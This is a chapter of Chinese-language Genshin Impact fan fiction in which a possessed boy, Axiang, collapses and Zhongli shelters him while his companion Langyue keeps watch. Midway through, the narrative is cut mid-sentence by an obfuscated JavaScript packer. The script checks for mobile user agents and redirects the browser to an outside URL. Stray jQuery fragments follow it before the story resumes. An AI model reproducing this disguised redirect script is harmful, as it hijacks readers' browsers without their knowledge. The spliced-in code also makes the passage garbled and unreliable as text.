34.第 34 章 到底是什么人?

作品:《于世界之外醒来(原神同人)

    然后,一个冰冷、平滑、毫无阿响惯有停顿的声音,从那熟悉的唇间吐出:


    “错误的‘角色’……”


    他略微停顿,目光扫过混乱的广场,扫过崩塌的祭坛,最后落回朗樾因疼痛和恐惧而扭曲的脸上。


    “……站错了‘序幕’的舞台。”


    话音未落,他猛地仰头,望向那已无龙躯、只余紊乱元素流光的天空。身体的颤抖变得剧烈——那不是恐惧,更像是精密仪器过载时的悲鸣。


    “……现在,连‘终幕’的布景,都开始崩塌了。”


    说完这句,那强行支撑这具躯壳的冰冷“存在感”骤然退去。阿响眼中令人胆寒的深邃瞬间消散,取而代之的是更加虚弱的空洞,以及迅速涌上来的、源自灵魂深处的剧烈痛苦。他松开手,身体向后软倒。


    “阿响!!!”朗樾扑上前去,在他后脑触地前险险接住了他。


    他双眼紧闭,面色惨白如纸,气息微弱。左眼角下方,几道极淡的、流转着诡异银光的纹路,如同应激般浮现,微弱搏动。


    周遭一片大乱。朗樾抱着昏迷的阿响跪坐在地,被这一切震得神魂欲碎——


    一道沉稳如山的身影,分开混乱的人潮,无声无息地出现在她身侧。


    钟离不知何时已转过身。他脸上依旧没什么表情,但那双岩金色的眸子在掠过阿响惨白的脸和眼角银纹时,极细微地凝滞了一瞬。他没有多问,俯身,一只手臂便将昏迷的少年从朗樾僵硬的怀抱中托起。


    “跟我走。”


    他的声音不高,却带着奇异的力量,穿透了朗樾心中的惊涛骇浪。


    朗樾踉跄着爬起来,跟在那道岩金色的背影之后。钟离步伐平稳,在混乱拥挤的人潮中如履平地,开辟出一条通路。他所经之处,无形的恐慌仿佛被某种更古老的存在暂时镇住。


    他们迅速从侧方通道离开玉京台,将身后的一切哭喊隔绝。


    钟离没有前往往生堂前厅,而是径直穿过几重寂静的院落,来到一处独立幽静的小院厢房。他将阿响轻轻安置在干净的榻上。


    阿响毫无生气地躺着,只有眼角那抹幽幽的银纹,证明着方才的一切并非幻觉。


    “钟离先生,阿响他……他刚才……”朗樾浑身发抖,眼泪终于不受控制地涌出来,“他像变了个人……还说了好多我听不懂的话……”


    钟离静立榻边,目光沉静地落在阿响脸上。片刻,他抬起右手,指尖萦绕着一层温润的岩金光晕,轻轻点在那银纹中心。


    银纹微亮,随即像被安抚的凶兽,光芒内敛,搏动渐缓,变得稳定,却并未消失。


    “灵觉过载,神思激荡,外邪暂侵。”钟离收回手,声音里听不出太多情绪,“他只是心神损耗过剧,力竭而眠。睡足自会醒来。”


    外邪……侵入?


    朗樾跪坐在榻边,呆呆地看着阿响平静的睡颜,又看看自己手腕上那圈清晰发紫的淤痕。刚才那冰冷的目光、那非人的力道、那令人胆寒的宣判……现在的阿响,还是阿响吗?


    就在这时,榻上的人忽然发出了一声极轻的呻吟。


    朗樾浑身一颤,凑上前去:“阿响……你怎么样?”


    阿响却并未醒来。他眉头无意识地蹙紧,嘴唇微微开合,逸出一串更加破碎、混乱的呓语,与方才那冰冷宣判的语调截然不同:


    “……后台……全乱套了……”


    “主演……没来……导演在台上……当尸体……”


    “……地脉……吵死了……”


    “……收不了场……”


    朗樾睁大眼,更加困惑了。她抬起头,再次看向钟离。


    钟离依旧静立一旁,岩金色的眸子平静地扫过阿响呓语不断的苍白面容。对于这些怪异的破碎词句,他的反应与方才并无二致——仿佛无论何种“杂音”,都只是这动荡时期必然的余波,不值得讶异,只需静观。


    他只是淡淡道:“神魂激荡之下的残象罢了。让他静养。”


    说完,他走向厢房一角,那里备着清水与干净布巾。他将布巾浸湿、拧干,递给了朗樾。


    “此处静僻,无人打扰。你可在此看顾。若有异变,可至前厅寻我,或告知老章。”


    他的态度平静而自然,既没有对阿响的异常过度关切,也没有置之不理。


    “……是,谢谢钟离先生。”朗樾怔忡地接过布巾。


    钟离微微颔首,转身离开,将房门掩上。


    屋内彻底安静下来,只剩下阿响细微的呼吸声和偶尔的、意义不明的咕哝。窗外,隐约还能听到远处玉京台方向传来的、尚未完全平息的喧嚣,但已被重重院落隔绝得模糊。


    朗樾看着少年并不平静的睡颜,好一会儿,才将帕子轻轻擦过他的额头。手腕的疼痛依旧清晰,脑中那些冰冷的话语和混乱的呓语交织回响。


    巨大的困惑压下了恐惧:阿响……你到底是什么人?


    ————————


    不知过了多久,门忽然被推开,进来的是老章。


    “……终于找到你们了。”他的声音压得很低,带着一路疾走后的微喘,“那时候太乱,回头就没看见你们。后来遇见钟离先生,他说把你们安置在这边,我才寻过来。”


    朗樾怔怔地应了一声。窗外从白日到黄昏,她竟完全没有察觉。时间像被什么抽走了质感,只剩下榻上少年平稳而浅淡的呼吸声,一下,又一下。


    老章走到榻边,俯身看了看阿响的脸色,又探了探他额头的温度。他做这些时动作很轻,末了直起腰:“没事,就是昏过去了。年轻人底子好,睡够了自然醒。”


    他转头看向朗樾,目光在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340377|198725||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她脸上停了一瞬。朗樾下意识别开脸——她知道自己现在的样子大概不太好看。


    老章没多问,只是说:“你先去吃点东西。”


    “……我不饿。”


    “不是饿不饿的事。”老章的语气平和,却不容置喙,“这孩子不知道什么时候醒,你总不能一直守着。回头他醒了,你再倒下了,谁来照看?”


    朗樾张了张嘴,什么也说不出来。她低头看了看自己攥着布巾的手,指节发白,掌心冰凉。


    老章没再劝,只是从她手里接过布巾,在盆里投了投、拧干,搭在榻边。然后他在床边那把椅子上坐下来,脊背靠着椅背。


    “去吧,”他说,“我帮你看着他。有事我叫你。”


    他的语气太寻常了。寻常得像在说今天的活干完了、早些歇息。仿佛这不是请仙典仪崩毁、帝君陨落、整个璃月天翻地覆的一天。这寻常让朗樾紧绷了一下午的某根弦,极轻微地松动了半寸。


    “……谢谢章先生。”


    她听见自己的声音,如此干涩。


    起身时腿有些发软。她扶着桌沿站稳,一步一步走向门口。推门前,她又回头看了一眼。榻上的少年依旧安静地睡着,老章坐在床边,正把滑落一角的薄被拉上来,仔细地替他掖好。


    朗樾推门出去。


    往生堂的廊道在夜色里显得格外幽深。她走过几重院落,渐渐听见人声——食堂那边还亮着灯,隐约有碗筷碰撞的脆响和压低了嗓门的交谈。她循着光走过去,在门口站了片刻,才迈步进去。


    没什么胃口,但她还是去领了一份饭。菜是普通的家常菜,清炒时蔬,米饭冒着热气。她端着托盘找了个角落坐下,一口一口往嘴里送。


    今天的米饭有些不成型,太软了。但她也没心情在意,嚼了很久才咽下去。


    隔壁桌有几个年轻仪倌在低声说话,声音断断续续飘过来:


    “……听说了吗,玉京台那边还在封着……”


    “……七星全部出动了,凝光大人亲自坐镇……”


    “……至冬国那位执行官当时也在场,被盘问了半天……”


    朗樾听着,把一口土豆送进嘴里。


    太咸了。她想。或者是自己味觉出了问题。


    她没有加入交谈,也没有抬头。只是一口一口,把托盘里的饭菜吃完了。没有剩。


    然后她站起身,去后厨问厨娘借了一个干净的小食盒。


    “给你那位同伴带的?”厨娘认出她,手脚麻利地帮她装了些粥和几样好消化的点心,“昏着的人醒了多半胃里空,先别给油腻的,这个小米粥养人。”


    朗樾道了谢,提着食盒往回走。夜风比来时更凉了些,她把食盒贴近胸口,用体温护着那一点热乎气。


    推开厢房门的时候,老章正弯腰对着床边。